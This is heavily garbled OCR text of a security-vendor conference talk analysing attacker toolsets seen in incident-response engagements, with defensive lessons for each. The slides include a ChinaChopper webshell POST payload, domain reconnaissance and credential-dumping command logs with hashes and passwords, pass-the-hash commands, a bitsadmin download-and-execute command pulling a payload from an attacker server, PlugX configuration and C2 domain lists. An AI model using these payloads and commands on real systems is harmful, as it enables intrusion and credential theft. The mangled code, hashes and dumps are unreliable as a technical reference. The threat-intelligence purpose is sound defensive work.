WHY ATTACKER TOOLSETS
DO WHAT THEY DO

Matt McCormack | P@hL] SecureWorks



OVER THE LAST YEAR

50+ engagements

Good chunk of different verticals, industries, etc.
Varying qualities and effectiveness of defenses
Collective noun of different Threat Groups

.. but really? Similar tools and tactics —



THE MAGIC OF INTERPRETIVE DANCE

Pick through this year’s interesting engagements
Construct a convenient narrative

Discuss the common blind-spots the tools keep
leveraging

Explore Reasons They Just Keep Working (RIJKW)
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RTJKW #1: AD HOC DEPLOYMENTS

Deploy and forget (bonus: default configurations)
External teams not looping in the security team
Third-party systems without patch management

Cloud infrastructure: the new frontier of terrible



THE VOLUME GAME

Scan and exploit; because eventually 1t will work

Fvent Count

20k

10k
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CHINACHOPPER POST

Webshell all the things

POST/config/AspCms_Config.asp HTTP/1.1

Content Type: application/x www-form-urlencoded
Host: yowwebserver

Content-Length:

Expect:

Connectlon Keep-Alive

xiaoliang

%22%22bd%3Dbd%26chr%28;
%26M1d#%28s%2C1%2B2%2C2%
2,-026chr.°-.72816.929=~ Nex %3AEnd+Function..esponse.write( peeoy | ety sEx"%26cHr (1 :
26bd (""" "526573706F6E73652E5772697465282268616F72656E2229"""" ) ) :Response.Write("""" ttnnt) :Response.End"’




:::;fﬂRﬂWe“LQW"FET“@F“Dﬂ'=’”“”3 https://breached.com/anything.aspx?do=sh

-------- System.I0.StreamWriter-SW-=-new-
System.I0.StreamWriter(Server .MapPath(Encoding.Default.GetString(Convert.FromBa
SEE“-StI"‘InQ( "YXNweHVwbGOhZC5hc3B4" }))}: aspxupload . aspx
Bl eveeeene String-str-=. —>
- "PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjI1iA1Pgo8c2NyaXBAIHI1bmF@APS]2zZX12ZX11PgoglAgcHIvdG
- V3dGVKIHZvaWQgQnV@dGOuMVIDbGl jayhvYmplY3Qgc2VuZGVyLCBFdmVudEFyZ3MgZ SkKI{AgIHsKI
- CAgICAgICBGaWx1VXBsb2FKMS5Qb3NBZWRGaWx 1L INhdmVBcyhTZXIZ2ZXIuTWFwWUGFRaChGaWx1VXBs
- b2FKkMS5GalWx1TmFtZSkpOwogICAgICAGIExhYmx1IMSSUZXhAIDAGI jxhIGhyZWYSlyIgKyBGalWx1VXE
sb2FKMSS5GaWx1 TmFtZSArICInPkZpbGUgdXBsb2FkIHN1Y2N1 c3NmdWxseSB5Sb3UgY2FulGRvd25sb2
- FkIGh1lcmUBLZE+IjsKICAQIHOKPC9zY3]lpcHQ+CiAgICARZmOybSBpZDO1ZmIybTE1IHI1bmFORSIZZ
- XJ2ZX1iPgogICAgICAgIDxhc3AGRm1sZVVwbGOhZ CBIRDA1RmlsZVVwbGIhZDELiIHI1bmFAPSI2EX]2

B S I N

- SW.WriteLine(Encoding.Default.GetString(Convert.FromBaseb4String(str)));
F A SW.Close();

9 % https://breached.com/aspxupload.aspx




 ———————— TOOLS'S
Logout | File Manager | CmdShell | TTIS Spy | Process | Services | UserInfo | SysInfo | FileSearch | SU Exp | RegShell | PortScan | DataBase | Framework Ver: 4.0.30319.1

PortMap

File Manager >>

Current Dircctory . (Chinetpubywwwroothaspnet_client) system_web'\2_0_30727) | CD |

WebRoot | Create Directory | Create File | Fixed(C:) | Fixed(D:) | CDRom(E:) | CDRom(F:) | Kill Me ,_g_h_ggg_s__-_f;]_ag'_; No file chosen | upload |
Filename Last modified Size Action

0 Parent Directory

[ error.aspx 2014-07-16 02:59:58 70.79 K Down | Copy | Edit | Rename | Time

[ Delete selected 0 directories/ 1 files

TOOLS'S SHELL



OWA: WHO NEEDS THE DC?

ISAPI filter (NET)
OwaAuth.Application_EndRequest()

- Recelves request after submitted

- Extract username and password from login, save to
text file

- Parse traffic for magic key, password, and params for

backdoor



OwaAuth.ShowError()

- List, read, write, delete, modify, files and directories
- Timestomp file or directory

- Download file from URL

- Launch process

- Connect, query, write to SQL server



OUR SCENARIO... SO FAR
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Host [y = bcdext-prod-web
Program (I3 & Tomcat7 exe
Pid 2168
Create Time 2015-07-11T02:17:35.873243 (a month ago)
Image Path E:\tomcat70\bin\Tomcat7.exe
Parent Image Path C:\Windows\System32\services.exe
User CORP\web_adm
Children 2015-07-13T03:47:25.475123 %} "ipconfig" /all"
2015-07-13T03:49:13.900468 £ "netstat" -anbo -p tcp"
2015-07-13T03:50:20.590102 ## "systeminfo""
2015-07-13T03:51:23.638994 £ "tasklist" /svc"
2015-07-13T03:53:32.158732 £ "net" start"
2015-07-13T03:55:00.864695 £ "net" time /domain"
2015-07-13T03:56:24.898634 &£ "net" group "domain admins" /domain"
2015-07-13T03:57:22.837988 £ "net" user adadmin /domain"
2015-07-13T04:10:16.378366 %* "net" group "Domain Computers"™ /domain"
2015-07-13T04:11:18.599107 %#* "net" group "Domain controllers"™ /domain"
2015-07-13T04:12:13.491488 & "net" group /domain"
2015-07-13T04:17:48.861595 £ "net" user /domain"
2015-07-13T04:18:50.035427 & "ping" -n 1 BCDEXT-DCO1"
2015-07-13T04:19:19.301989 £ "ping" -n 1 BCDEXT-DC02"
2015-07-13T05:09:59.180512 ## "net" user && net localgroup administrators"



2015-07-13T05:34:21.289798 ## "cmd"
2015-07-13T05:36:11.808959 ## "cmd"
2015-07-13T05:39:39.596858 #* "cmd"
2015-07-13T05:39:48.972158 £ "cmd"
2015-07-13T05:40:30.348482 ## "cmd"
2015-07-13T05:40:38.254985 % "cmd"
2015-07-13T05:40:44.130173 £ "cmd"
2015-07-13T05:40:48.583441 ## "cmd"
2015-07-13T05:42:26.774083 #* "cmd"
2015-07-13T05:43:43.635917 ## "cmd"
2015-07-13T05:44:28.746736 % "cmd"

/e
Yie:
/c
le
e
Je
fe
e
/e
le
/e

a:\windows\temp\ab6d.log -pAbcl23456 -y"

dir c:\windows\temp\"

"cd /d c:\windows\temp&&ab6d.log -pRbcl23456 -y""

dir c:\windows\temp\"

"cd /d c:\windows\temp&&abd.exe -w ">>c:\windows\temp\h.txt"™""
"cd /d c:\windows\temp&&abd.exe -m ">>c:\windows\temp\h.txt"""
"cd /d c:\windows\temp&&abd.exe -h ">>c:\windows\temp\h.txt"""
"cd /d c:\windows\temp&&bd.exe -1 ">>c:\windows\temp\h.txt"""
dir c:\windows\temp\h.txt"

c:\windows\temp\abd.exe -w"

c:\windows\temp\ab6d.exe -m"

2015-07-13T05:44:46.512929 & "c:\windows\temp\a64.exe" -h"
2015-07-13T05:44:58.778947 £ "c:\windows\temp\ab4.exe" -1"

2015-07-13T05:45:08.248000 £ "whoami™""

SecureWorks



Administrator: Command Prompt

:N>AceHashbd.exe —1
Reading by injecting code?! (less—safe model
Logon Sessions Found: 9

B8623BDF : DomainfAdmin :LAB:ES2CAC67419APA221 BAR2C1 8752 BDBEE : C4ABWE1 B1AC7CE2C4723B
4E2407EF81A2

AR6239C8 :DomainAdmin:LAB:ES2CAC67419AYA221 BAR2C1 8752 BDBEE : C4BAE1 B1 AC7CE2C4723B
4E2407/EF81R2

AAR?1520: Lablser: LAB:ES2CAC67419AA2238F1A713B629B565 :64F12CDDAABBAS 7EAGAB1 BS 4
E73B949B

AB8?14BE: LabUser:LAB:ESZ2CAC67417APA2238F10713B622B565 :64F12CDDAABBAS 7EAGABL1BS 4
E73B9428

AAAPA3E4 : LAB-WIN78P1X645 : LAB : 0000AA0HAAAAANANGARARMNANARRAARAA : FB5 @16 EFAC2ABAYE
CE46AB8BUES 27184

AAEAC4N2 : - - ARRRNRRAEARPANNARARRNERRRARPARA : FESA16 EF4C2ABATECE46AREBABS 29184
Got 6 item
LUID:UserMame : LogonDomain : LMhash:NThash

HAY




ACEHASH: ALL THE HASHES

Mimikatz Custom-compiled PE executes sekurlsa::
logonpasswords command automatically

Acel Custom DLL, uses samsrv.dll APIs to dump hashes
from disk/registry

Ace2 Custom DLL, based on WCE, uses msvl_0.dll APIs for
LM/NTLM

InjectMemDIl | Inject above when required




Adrmunistrator: Command Prompt

C:\>HceHashb4.exe —s Domainfdmin:LAB:ESZCACG7417A7A221B0B87C18/52BDBEE : C4BWE]1 B1 BC))
7CE2C4723B4E2487EF81A2 "dir “\N\192.168.153.200\c35"

HReading by injecting code?! (less—safe mode)

hanging NILM credentials of new logon session BH6BDH1ADh to:
Username: Domainfdmin
Domain: LAB
LMHash: ES2CAC67417AZ7AZ221BOA8C18752BDBEE
NTHash: C4BBE1B18CYCE2C4723B4E24A7EF81A2

the Credentials of new process has been changed

Microsoft Windows [Version 6.1.7661]
opyright <(c> 2809 Microsoft Corporation. All rights reserved.

C:\Windows\system32<{dir ~~\192.168.153.280c5

Uolume in drive “192.168.153.2080~c5 has no label.
Uolume Serial Humbher is FCEC-5472

Divectory of “»\192.168.153.288c%

B8 -22-2013 11:52 AM <DIR> PerfLogs
a5 272015 12:38 PM <DIR> Program Files
M8 72272013 11:39 AM <DIR> Program Files {(x8b>
B6-29-/20815 B5:54 PH {DIR> temp
6 -29-2015% B5:83 PM <DIR> Users
B6-81.-2815 B82:22 PM <DIR> Windows
B Fileds> B bytes
6 Dir(s>» 50.685.607.236 hytes free

C:\Windowsssystem32<
HAN




[ Thread Injection

Host m WIN-TK7DKUBLMVQ

Color 3748 =» 564

Source (Attacking) Process #& \Device\HarddiskVolumel\AceHash64.exe
3748

2015-06-30T22:15:@7.102057

Target (Victim) Process #+ \Device\HarddiskVolumel\Windows\System32\1sass.exe
564
2015-86-25T21:17:58.142415

Injected Thread 3792
2015-06-30T22:15:07.164462
Ox1beel@d
0x00000000 48894C24 0B4B83EC 3848837C 24400075 H.L$.H..BH.|$E.u
Ox00000010 O7BBFFFF FFFFEE3D 488B4424 40488944 ....... =H.DSEH.D

0x00000020 2420488B4424204883380074 234C8B44 § H.D$ H.B.t#L.D
0x00000030 24204D8B4018488B 4424208B5010488E § M.@.H.DS .P.H.
0x00000040 4C242048 8B490848 8B442420 FF10EBO5 LS H.I.H.D§ ....
0x00000050 BBFEFFFF FF4883C4 38C3000000000000 ..... e



Administrator: C\Windows\System32\cmd.exe

C:slUserssPublic*getpasswordbd. exe

Authentication [d:@;454412
Authentication Package:Hegotiate
Primary Usep:

Authentication Domain:ACHE

* User: “
# Domain CHE

= Password: Passwordl23123123

Authentication Id:8;996
Authentication Package:NHegotiate
Primary User:WIN-1EYJ4CMPI8TS
Authentication Domain:ACHME

# User: WIN-1EYJ4CHP3IBTS

ACHE

b o e o o S e e e e e B et et B e e e e e e e e i e e e i e o

Authentication [d:8;6675%8

Authentication Package:NTLM

Primary lser:

Authentication Domain:
{LUID ERROR>

Authentication

Authenti

Primary

Authentication Domain:ACHE

* User: W
# Domain: AC

» Password: Password123123123
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RTJKW #2: CREDENTIAL “ISSUES”

Golden 1mages are convenient, as 1s scripting installs
Same local Admin passwords 1s ... not great
Failing to restrict local Admin over network

Insecurely storing passwords on network



"whoami"

"ipconfig" /all

"net" time /domain

"net" start query

"netstat" -an

"ping" -n 1 www.nba.com

"net" view /domain

"net" localgroup administrators
"net" user adm it /domain

"cmd" /c dir C:\users\

"net" group "Domain Admins" /domain
"C:\Windows\system32\netl group "Domain Admins" /domain
"nltest" /trust domain



“C:\windows\temp\nbtscan.exe 10.16.2.1/24 ">C:\windows\temp\nb.txt"
"net" use \\10.16.2.208 "Changeme!" /user:CORP\CS ADM IT

"cmd" /c dir \\10.16.2.208\cS$

"dir \\10.16.2.208\cS$

"net" use \\10.16.2.208\c$ "Changeme!" /user:CORP\CS ADM IT

"C:\windows\temp\acehash64.exe -s adm ga:CORP:
AAD3B435B51404EEAAD3BR435B51404EE :AS5B440A4C4E1965E6F5905A08AF6F2DE
"dir \\10.16.2.233\cs$"

"C:\windows\temp\acehashot4.exe -s Administrator:123:
AAD3B435B51404EEAAD3B435B51404EE:A67C071444ED771589B736189B0O8F2AD
"dir \\10.16.2.208\cs"

"C:\windows\temp\acehashot4.exe -s Administrator:123:
AAD3B435B51404EEAAD3B435B51404EE:A67C071444ED771589B736189B08F2AD
"dir \\10.16.2.204\cS\inetpub\"



OUR SCENARIO... SO FAR
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RTJKW #3: BOTTLENCK BRO?

Chokepoints using (authenticating) proxies
Central point to log, gather/apply intel, block, etc.
Many basic RATs/Toolsets/Malware won't work

Unfettered internet access is a terrible idea



POISON IVY
Grandfather of Chinese targeted RATSs (circa 2004)
Custom TCP C&C protocol

Still deployed, updated but only basic proxy support
seen this year

Volatility + Chopshop + metasploit modules available



hellointra.

hellointra

namesvrone

no-ip.org, 3460

.myftp.org, 3440
namesvrtwo.

serveftp.com, 8888

.myftp.org, 8989

m2013.no-ip.orqg, 443
updatel’/.ignorelist.com, 443
sapl23.no-ip.biz, 3480
sapl23.servehttp.com, 5460
statictwo.myftp.org, 9999
staticone.hopto.org, 9898
banse.zapto.org, 4444
gserverhost.no-ip.biz, 6666
gserverhost.myftp.org, 5555
connektme.no-ip.org, 6460
connektme.hopto.org, 7539
easyconnect.zapto.org, 3333
easyconnect.no-ip.org, 4444
swepc.no-ip.biz, 3460

cmdexe.no-1ip.biz
microsoft32.no-1p.biz
gaZa.no-ip.biz
exw.no—-ip.1info
60.235.12.64
hack43mila.no-1p.biz
cool-t.no-1p.biz
alnweer2009.no-ip.1info
alnweer2009.no-ip.org
test.no-1p.org
sero.ddns.net
serix2l.no-1p.biz
evil3322.no-1ip.biz
ZX00.no—-1p.biz
m55m55m44.no-1ip.org



a open source remote administrator tool

{0 4 commits ¥ 1 branch 5 0 releases &5 0 contributors

Branch: master ~ ghﬂst I+ =

ART TR _
| [#] 2bcoder athored on 9 May 2013 Jatest comnit r434bodred B |
Il Server BET TR 3 years ago
Il common add linux server 3 years ago
i ghost HET R 3 years ago
B cLEAN.BAT AT FhE 3 years ago
B README.md first commit 3 years ago
B ghOst.dsw add linux server 3 years ago
Bl ghostsin add linux server 3 years ago

EE README.md

ghOst beta 3.6



OUR SCENARIO... SO FAR
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RTJKW #4: DOMAIN SEPARATION

Strict separation, limited accounts, hardcore logging
Extends to shared infrastructure, third parties, BYOD

Trying to avoid these points being like those really
fun ball pits, but for privileged credentials
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OUR SCENARIO... SO FAR
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RTJKW #5: POROUS FIREWALLS

Don't forget about the non-TCP protocols
Unit test and regression test the perimeter

Segmentation is a thing



SALL.NETWORKS. CONNECT>

(ACCESS ALL
CPRIMARY ON

MOBILE BANKING | 90.72.25;.

0 90.72.25;.

e | 90.72.25; .
90.72.25;.

'0.72.25.

»72.25L.




EXPOSING YOUR BITS

Windows update component for file transfer

Tags

Host

Program

Pid

Create Time
Image Path
Parent Image Path
Command Line
User

Parent

Children (2)

e -

[+ bec JENE

EXQ & cnd exe
7516

JsRL

2015-02-23T23:05:05.572308 (6 months ago)

C:\Windows\System32\cmd . exe

{not available)

C:\Windowshsystem32hcmd . EXE /c bitsadmin /transfer My /Download /PRIORITY HIGH http://ax

AUTORIDADE NT\SISTEMA
&+ taskeng.exe {F98890EC-3712-48F3-8DED-1B6EA8504080} 5-1-5-18:NT AUTHORITY\System: Service:
2015-02-23723:05:05.681315

2015-02-23723:06:24.055036

svr.com/deol, jpg C:\Windows\TEMPA\OOL. cpl &C:\Windows\TEMP\d0O1.cpl

£ bitsadmin /transfer My /Download /PRIORITY HIGH http://ax svr.com/dool. jpg C: \Windows\TEMPMNdBO1.cpl

£ "c:\Windows\System32\control.exe" "C:\Windows\TEMP\doo1,cpl",




PLUGX

Been around since 2011, actively developed
Modular construction to evade sandboxing, etc.

C&C via UDP, DNS over UDP, CUSTOM over TCP,
HTTP, HTTPS, ICMP, customer over IP

Plugin infrastructure



Hiew: EmPrxRes.dll.dat
(c) SEN

OJO0ODOD1EE:
JODDD1EC:
D0DDDOL1FL:

e Teiall
UJUUUULF S ¢

S (A 10 .
000002 10:

AnA
uubuy

DO0oDDZ 14:

000002 LE

0000021

IT.'_'

n js OO U o
m = O

a

]

0pDoop234-

i

0000023 g .

DODODDZ23E: CEBE
0000D240: 8BOC24

1 ZPutBlk




Hiew: EmPrxRes.dll.dat.First_layer.bin

oooooooo:
0oo00o0o05:
0o000000E :
ooooooog :
0000000D:
000000CE:
00000013 :
000oo01sS:
00000014
0000001F:
0000002 5:
00000026
O00000ZE:
ooo00o03 L:
0o000032:
00000033 :
00000038 :
0000003E:
0000003E:
0000003F:
00000041 :

B3EBOS
BE4C2404

al

E8 582 DO000
oDES4FAcOLOOD
al
EB30A10100
BDES LFOS0000
ol
EEATD30100
BDEB 00000000
a1

54
EE0&000000
B3c4lc
C20400

55

BBEC

g4a 130000000

POP
sub
mov
push
push
lea
push
push
lea
push
push
lea
push
push
call
add

push
mov
mov

-

[}
=

esp,
4 3
ebp

ebnp,esp
eax, ts

00000000 [Hiew B.33

1 TA47
g

I:I _}{I

J[UOUULAEST |

i ' eil*

1[00000051F]

- @Eal

100]

[000000030]

(c) SEN

00000047 : sB400cC
0o00004Aa: S8EB401C Mo
2 EuEHEE 3 .

MoV eax, [=ax] [00C]

eax, [eax] [01C]




Time
1 ©.006008
2 b.0BbBoe
3 0.038043
4 6.030043
5 B.B6BBBT
B B.6870101
7 1.131627

Source

127.8.8.2
127.8.8.1
127.8.8.2
127.8.08.1
127.8.8.2
127.8.0.1
127.8.8.2

Destination

127.8.0.1
127.8.8.2
127.8.8.1
127.8.8.2
127.8.8.1
127.8.0.2
127.8.8.1

Protocol

Length  Info

189 Standard guery OxeBdl TXT KEGPOFOBHAHNADHMINOCFBIGCFEAEINEIKDHIJHEKNNOAHFF . s mom
188 Standard gquery response 8xeBd3 A 127.8.8.1
189 Standard guery 8xeBd4 TXT FKJABEOBHPMHEJIFOINOCFBIGCFEAEINEIKDHIJHEKNNOAHFF . messs s
188 Standard guery response Bxefdd A 127.8.8.1
189 Standard gquery 8xeBd5 TXT NONBPADBMKDLLCCFINOCFBIGCFEAEINBIKDHI JHEKNNOAHFF . messe s om
188 Standard query response BxeBd5 A 127.8.8.1
189 Standard guery 8xeBdé TXT JHDIADOBPMGDITHFINOCFBIGCFEAEINBIKDHI JHEKNNOAHFF . s e

SecureWorks



"C2 Password": "12345678901",
PEde® s |
"www.notebookhk.net: 8086 (TCP / HTTE)",
www.notebookhk.net: 8086 (UDP)",
www.notebookhk.net:80 (UDP)",
www.notebookhk.net:80 (TCP / HTITP)",
www.notebookhk.net: 8080 (TCP / HTTP)",
www.notebookhk.net:8080 (UDp)",
"www.notebookhk.net:443 (UDP)"™,
www. notebookhk.net:443 (TCP / HTTP)",
www .notebookhk.net:435 (TCP / HTTPI"™,
www.notebookhk.net:435 (UDP)"
11
"ConfigSize"™: "0x36ad",
"DNS": [1,
"Enable ICMP P2p%: "17,
"Enable TPProro (PARR TR
"Enable P2P Scan™: "17,
"Enable TCP B2PM: AN,
"Enable DDP PApRs R
"HideDLL": "-1",
"ICMP P2P Port™: "13577,
SIPProto PP Bor ™ot A5 R
TInjaction & TAhy
"InjectionProcess™: [
"%ProgramFiles (x86)¥\\Windows Media Player\\wmplayer.exe",
"twindir¥\\system32\\svchost. exe"

o

Installpir": "RAUTOR\\fT=sgFd",
"KeyLogger™: "-17,

"Mac Disable™: "00:00:00:00:00:00",
"Mutex": "Global\\vCsfhvEKUHQoFde",

"PZ2P End Scanlm™: "0.0.0.07,
"P2E End Scan2®™: "0.0.0.07,
"P2P End Scan3™: "0.0.0.07,
"PZ2E End Scand": "0.0.0.07,
TP Stark SaoankT: OO0
REIPCSTENE Scanit: o000
"PZ2P Start Scan3T: "0.0.0.07,
"P2E Start Scand™: "0.0.0.07;

"Perayatencelype®: "OT,
"PlugX Password": "TESI",
MEromyt s 1
"RegistryHive™: "HKCU",

"RegistryKey": "Software\\Microsoft\\Windows\\CurrentVersion\\Run",

"RegistryValue™: "miXXYzBIWUH",

"Screenshots™: "0",

"Screenshots Bits": "187,

"Screenshots Folder™: "BAUTOR\\FS\\screen”,

"Screenshots Frequency": "10",

"screenshots Keep™: "370

"Screenshots Quality™: "507,

"Screenshots Zoom"; "507,

"ServiceDescripticn™: "Windows ygTBYaczt Service"

"ServiceDisplayName™: "ygTEYaczt",

"ServiceName": "ygTBYaczt",

"Sleepl™: "1GTTE21607,

FEleppd®: NOM;

"TCP P2P Port™: "1357",

"TimeTable": "Default™,

"UAC Bypass Injection™: [
"twindir¥\\system3Z2\\msiexec.exe",

ir

"UAC Bypass Injection Type": "17,

il B ISEE 275 L 2o o e ] B 5 W s



PLUGINS

IE D Yiew-a IE Pseudocode-A | = Hex Yisw-& | [A] Structures |

| plugxz DecryptString("DISK"
strDISK CopybecrypteditringFromHeap

plugx InitializePlugin{strDISK, pluginDiskOnLoad, pluginDiskOnRun, pluginDiskOnExit
ZeroOutDecryptedString heaphMemory

Read/write/enumerate files, reqgistry
Download/execute files

Enumerate, read, write, inject, kill processes
Port forward/proxy traffic, enumerate network
Full SQL driver interface

RDP, keylog, screenshot, video ..



OUR SCENARIO... SO FAR

SecureWorks



RIJKW #6: INTERNAL BLINDNESS

Some visibility inside the network 1s ... useful
Common for newer RATs to have P2P

Routing traffic through the network to reach other
targets



RBDOOR

Alternative to PlugX, full RAT functionality too
Both 64 and 32 bit versions
C&Cvia TCP, UDP, HTTP, HTTPS, ...

Traffic relay 1s also built in ...
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matt@HeartOfGold:~/!MAL/ fnré64_64bits xxd -gl1 -c32 config.bin.dec

0000000: 43 3a 5c 55 73 65 72 73 5¢C 41 44 4d 49 4e 49 7e 31 5C 41 70 70 44 61 74 61 5¢c 4c 6f 63 61 6¢c 5¢ C:\Users\ADMINI~1\AppData\Local)
0000020: 54 65 6d 70 5c 74 6d 70 35 36 30 44 2e 74 6d 70 00 GO GO 6O 0O OO G OO OO0 00 0O 0O GO 0O 0O OO0 Temp\LMPS6OD.TMP....cveceeenuraas
0000040: OO 00 00 0O OO0 DO 0O OO0 0O OO OO 0O OO 0O 00 OO 0O OO0 DO OO 0O OO0 OO0 DO OO OO OO0 OO0 DO 00 00 DO ....cvevesnnensssosonnasnvnsasns
0000060: 0O 00 00 0O OO0 0O 0O OO0 0O OO PO OO OO0 0O OO OO 0O OO 0O OO OO OO0 OO0 DO OO 00 OO0 OO0 DO 00 00 PO .....vcecennvssssoransnsnsnnnsns
0000080: 00 0O OO 0O 0O 0O OO OO OO OO 0O 0O OO OO OO DO OO 0O OO OO OO OO OO OO OO 0O OO 0O DO 00 00 B0 .....ccicececcnncnnsnnnnsnnnnsssns
00000ab: OO OO OO 0O OO OO OO OO OO OO DO OO OO OO OO OO OO OO 0O OO OO OO OO DO OO OO OO OO0 DO OO0 00 OO ....cvewenenrnssnnnonnnnannnssns
00000cO: DO 00 OO 00 OO DO OO OO OO OO DO OGO OO 0O OO OO OO OO0 DO OO OO OO OO0 DO OO OO OO OO0 DO OO0 00 OO ....cvevenevenessnsonnnsnnsnanns
00000eD: DO 0O OO 0O OO DO GO OO 0O OO DO GO OO PO OO DO GO OO DO GO OO OO OO DO OO OO OO OO DO 00 00 OO .....cvcvescvsssssossansnsnsnsssss
0000100: OO 0O 6O 0O OO OO 0O OO OO OO DO GO OO 0O OO OO OO OO DO OO OO OO OO0 DO OO OO OO OO0 DO 00 00 OO .....ccvcvcvunssssssnnsannnsssss
0000120: OO 00 OO0 0O OO0 OO 0O OO 0O OO DO 0O OO 0O OO DO 0O OO0 DO OO 0O OO0 OO0 DO OO OO OO OO0 DO 00 00 PO ....euevcasnssssssnonnnsnsnnssns
0000140: OO 00 00 0O OO DO 0O OO0 0O OO QO 0O OO 0O OO OO OO OO0 DO OO 0O OO0 OO0 DO OO OO OO0 OO0 DO 00 00 QO ....cecveoevensssosnanassvnnasas
0000160: 00 0O OO 0O 0O 00 OO OO OO OO OO 0O OO OO OO DO OO 0O 0O OO OO OO OO OO OO OO 0O OO 0O 00 00 G0 .....ccceeenennnnnsnnensnnsnnsnn
0000180: OO 60O OO 0O OO DO GO OO OO OD DO OGO OO DO OO DO GO OO DO OO OO OO OO DO OO OO OO OO0 DO OO 00 OO .....ccvcvevunennnronnnnnnnnesnn
00001ab: OO OO OO 0O OO DO OO OO 0O OO DO OO OO OO OO OO OO OO OO OO OO OO OO DO OO OO OO OO0 0O OO0 00 OO ....cvewenesnnsnnnnanonsannnsnns
00001cO: OO 6O OO 0O OO OO OO OO DO OO DO OGO OO DO OO OO OO OO PO OO OO OO OO DO OO OO OO OO0 DO 00 00 OO ....cceveeenenensnsonnncnnnnasns
00001e0: OO GO OO OO OO DO GO OO 0O OO DO GO OO PO OO DO GO OO DO OO OO OO OO DO OO OO OO OO0 DO 00 00 OO0 .....cvcvcssssssssossansssnansssss
0000200: OO 00 0O 0O OO0 0O 0O OO0 0O OD PO 0O OO 0O OO0 OO 0O OO0 DO OO 0O 0O OO0 DO OO OO OO OO0 DO 00 00 PO ....cuewesssessssssonnnnnnnssnns
0000220: 0O 00 OO0 0O 0D DO 0O OO 0O OO DO 0O OO 0O 0O DO 0O OO0 0O 0D 0O OO0 OO0 DO OO OO OO OO0 DO 00 00 PO ....ewevessssssssosonsnsnnnnssns
00006240: 00 6O OO 0O 0O €0 00 0O 0O OO 0O GO OO OO OO OO 0O 0O 0O OO OO OO OO OO OO 0O 0O 0O DO B0 B0 B0 ....covceennevsssnsnnnnsnnsnssss
0000260: OO GO OO 0O OO OO GO OO 0O OO DO OO OO OO OO DO OGO OO 0O OO OO OO OO OO OO OO OO OO0 0O OO0 00 OO ....cveveeenenennnnanenannnnnnnn
0000280: OO OO OO 0O OO DO OGO OO OO OD DO OGO OO 0O OO OO OO OO DO OO OO OO OO DO OO OO OO OO0 DO OO0 00 OO .....ccvevevunennnronnnnnnnnsnns
00002a0: OO OO OO GO OO OO 6O OO 0O OO DO 0O OO OO OO OO OO OO PO OO0 OO OO OO0 DO OO OO OO OO0 0O 00 00 OO ....cveweanncsssnsnanonnnnnnssns
00002cO: DO OO0 OO 0O OO DO OO OO DO OO DO OGO OO DO OO OO OO OO DO OO OO OO OO DO OO OO OO OO DO OO0 00 OO ....cvcvcvsvusssssssnsnsssssssns
00002ecO: 0O 0O 00 0O OO0 OO 0O OO 0O 0D DO GO OO0 0O OO0 OO 0O OO DO OO OO 0O OO0 DO OO0 OO OO OO0 DO 00 00 00 ....icueweassvsssioransnsnnnnssns
0000300: OO 00 00 00 31 0O 00 00 0O OO0 PO 0O OO0 0O OO0 0O 0O OO0 DO OO 0O 0O OO0 DO OO OO OO OO0 DO 00 00 PO ....luceesceencsvssonnnnnnnnsnna
0000320: 00 0O 0O 0O 32 60 00 OO OO0 0O 0O 0O OO OO OO OO 0O 0O 0O OO OO OO OO OO OO 00 0O 0O 0O B0 B0 B0 ....2..cceeccnsernsnnansnnnnssns
0000340: DO 6O OO 0O OO DO OO OO 01 OO DO OGO OO OO OO OO OGO OO DO OO OO GO OO DO OO OO OO OO0 DO OO0 00 OO ....ccevenenenennnrnnnncnnsnanns
0006360: DO 0O OO 0O OGO DO OO OO 0O GO DO OGO OO 0O OO OO OGO OO DO OO OO OO OO DO OO OO OO OO0 DO OO0 00 OO .....ccveuenunennnranenannnnnnnn
0000380: OO 0O OO 0O OO DO OGO OO OO OD DO OGO OO 0O OO OO OO OO DO OO OO OO OO DO OO OO OO OO0 DO OO0 00 OO .....ccvevevunennnronnnnnnnnsnna
00003a0: OO OO OO 0O OO DO GO OO OO OD DO GO OO DO OO DO GO OO DO OO DO OO OO DO OO OO OO OO DO OO0 00 OO ....cvsvesssssssssssnsssnansssss
P0003cO: 00 80 55 70 64 61 74 65 45 78 78 2e 64 6c 6C 00 0O 0O GO 6O 0O OO OO 00 A0 60 00 00 00 00 00 00 ..UpdateExX.dll.......eeevuuennn
00003e0: 00 00 6b 62 32 35 34 38 39 34 2e 64 61 74 00 00 00 0O GO0 00 G0 00 00 00 00 00 00 00 00 00 00 @0 ..kb254894.dat.........c.civuinnn
0000400: 00 00 57 69 6e 64 6f 77 73 20 55 70 64 61 74 65 20 53 65 72 76 69 63 65 00 00 00 00 00 00 00 @0 ..Windows Update Service........
0000420: 00 0O 0O 0O 0O 0O OO OO OO OO 0O 0O OO OO OO OO OO 0O 0O OO OO OO OO OO OO 0O 0O OO 0O 00 00 Q0 ....cevceeescnscsssnnansnnnnssas
0000440: 0O 00 57 69 6e 64 6f 77 73 20 55 70 64 61 74 65 20 53 65 72 76 69 63 65 00 00 00 00 00 60 00 00 ..Windows Update Service........
0000460: DO OO OO 0O OO DO OO OO 0O OGO DO GO OO 0O OO OO OGO OO DO OO OO OO OO OO OO OO OO OO0 DO 00 00 OO ....cceveuenunennnnnnenannnnnnnn
0000480: DO 00 OO 0O OO DO OGO OO 0O OO DO GO OO 0O OO OO OO OO DO OO OO GO OO DO OO OO OO OO DO 00 00 OO .....ccvcocsussssssosnnsannssssss
00004a0: DO 0O OO 0O OO DO 0O OO OO OO DO OO OO 0O OO DO GO OO DO OO OO OO OO DO OO OO OO OO DO OO0 00 PO ....cvsvesssssssssssnsssnansssns
00004cO: OO 00 00 00 0D DO 00 OO0 0O OO OO 0O OO0 0O OO OO 0O OO0 DO OO 0O OO OO0 DO OO OO OO OO0 DO 00 00 PO ....cvevesnsensssosonnassvnsasns
00004cO: 0O 0O OO 0O OO 0O 0O OO0 0O OO PO OO OO 0O OO OO 0O OO 0O OO OO OO0 OO0 DO OO OO OO OO0 DO 00 00 B0 ....cveweassvsssroranonsnsnnssns
0000500: 00 00 0O 0O 0O 0O 0O OO0 00 00 as al a5 a6 e s e




33
55
89
51
89
8D
89
6h
89
51
8B
8D
68
52
53
53
53
51
c7
c7
c7
FF
33
3B
SF
SE
BF
5D
8B
5B
81
c2

D2

54

54
L 1H
54
14
54

L4E
5y
a3

4h
44
L4
Da
D2
c3

94

c2

Chy
as

24

24
24
24

24
a8

24
aa

24
24
24

cz2

28

28
28
2C

34

28
12

4a
=1
48

88 64 06 08
68 B2 06 68
48 40 60 B0

OC 68 60 oe

{1l
push
mov
push
